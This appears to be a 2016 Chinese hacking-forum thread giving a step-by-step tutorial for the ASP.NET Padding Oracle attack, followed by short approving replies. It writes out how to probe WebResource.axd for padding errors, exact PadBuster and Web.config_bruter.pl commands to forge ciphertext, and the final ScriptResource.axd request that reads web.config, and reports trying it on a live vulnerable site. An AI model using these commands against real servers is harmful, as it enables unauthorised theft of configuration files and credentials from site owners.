U神V5 发表于 2016-3-3 11:08:43

Padding Oracle Attack

本帖最后由 U神V5 于 2016-3-3 11:16 编辑

本文由u神原创,转载请注明原作者以及出处 http://www.ihonker.org/thread-7961-1-1.html




#1、寻找WebResource.axd

   
   这个漏洞利用的最关键的一点就是寻找WebResource.axd,准确的说是寻找网站中可能存在的对WebResource.axd的引用,因为网站中引用WebResource.axd的时候会显示出原本的加密字符串,类似这样的。不过可以使用AWVC对网站做一个深度全方位的扫描,或许可以找到这个文件的位置,如果AWVS扫到了这个文件的位置,会提示在哪个页面中的,在AWVS扫描结果中的文件列表显示栏也是可以直接看到WebResource.axd和它的参数和值的,这样就方便很多。




#2、判断是否存在Padding Oracle漏洞

   一般我们访问这个链接都是获得的CSS或者JS资源,实际这是一种加密形式的文件读取,就不像简单的http://127.0.0.1/test.aspx?file=/1.txt这样简单的了。为了判断这个程序是否存在漏洞,我们只要修改d的值最后一位:

如果返回:

HTTP 500 Padding is invalid and cannot be removed.

或者

HTTP 500 Base-64 字符数组的无效长度。


例如我们获取的是:

http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2

修改为

http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ1

提示




   则说明该网站可能存在ASP.NET Pading Oracle漏洞。



#3、使用PadBuster伪造密文

选取其中一条,只需要d的值,后面的t的值不需要。例如获取到的:

http://6**.**.**.**:**/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2

使用PadBuster工具

padBuster工具的全部参数:

选项:





      注意:默认kali 或BT5下都有这个工具,Kali的位置在于/usr/bin/padbuster、bactrack5的位置:/pentest/web/padbuster
或者可以在Windows下使用脚本,脚本需要安装Per程序。程序源码将会再尾页提供。


padBusterdotnet.pl http://127.0.0.1:81/WebResource.axd?d=fUTgMrmxXz2EoDlng2fLLQ2 fUTgMrmxXz2EoDlng2fLLQ2 16 -encoding 3 -plaintext "|||~/Web.config"



#释义:这里的16为每个数据块的字节数,分为8和16,目前本人还没有什么好的方法判断这个字节数,所以需要大家可以两种都试一下(大多数为 16),
encoding参数是指定加密的编码格式,默认为0:有四种方式分别是:0=Base64,1=Lower HEX,2=Upper HEX,3=.NET UrlToken, 4=WebSafe Base64,由于本次测试为asp.net,所以这里我们选择3,-plaintext为准备加密的存文本,这里是以web.config来演示。

注意:如果 目标网站释义了ASP.NET的自定义错误CustomErrors功能,就需要使用prefix选择,否则不能利用




经过工具耐心的测试,成功获得了web.config的加密的值。






此时我们复制下这段值来。

y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1


#4、使用Web.config_bruter.pl暴力生成ScriptSource.axd所需要的密文


Web.config_bruter.pl http://127.0.0.1:81/ScriptResource.axd y2qdgVbOtqJik6r5s7vtPwAAAAAAAAAAAAAAAAAAAAA1 16




注意:

1、URL后跟的是ScriptResource.axd,不再是WebResource.axd了,所以源代码中也必须获取有ScriptResource.axd
2、我这里写的XXXXXXXXXXXXXXXXXXXX是第一步得到的加密字符串,不是在网页源码中得到的参数d的值


此处程序似乎进入假死状态,没办法这个填充筛选的时间需要5分钟左右



经过漫长等待终于获取了web.config用于ScriptResource.axd的加密字符串了




#5、获取最终结果

最后就可以通过读取web.config了。这里获取的是ScriptResource脚本调用web.config的密文,所以访问的时候是使用ScriptResource.axd

访问网站:


http://127.0.0.1:81/ScriptResource.axd?d=Zu81vWKPjjSvwCuAAo5Qv8tqnYFWzraiYpOq-bO77T8AAAAAAAAAAAAAAAAAAAAA0





此时整个攻击过程可以说是告一段落了,再来试试Kali和BT5下的,由于我的Kali速度太慢,用BT5再测试一个存在Padding Oracle漏洞的网站:









最后获取的Web.config信息




evilhat 发表于 2016-3-4 11:57:52

以前也看过这个,不过没仔细看。这个写得详细点,耐心的看完了。666

1210 发表于 2016-3-5 19:30:20


还是不错的哦,顶了

黑暗天空120 发表于 2016-3-6 09:37:22

好久以qian的洞了,这个是linux版的,win版的需要pl脚本,好像

国光nice 发表于 2016-3-7 13:50:22

仰望高端玩家

小江JJ 发表于 2016-11-26 17:09:45

谢谢楼主分享
页: [1]
查看完整版本: Padding Oracle Attack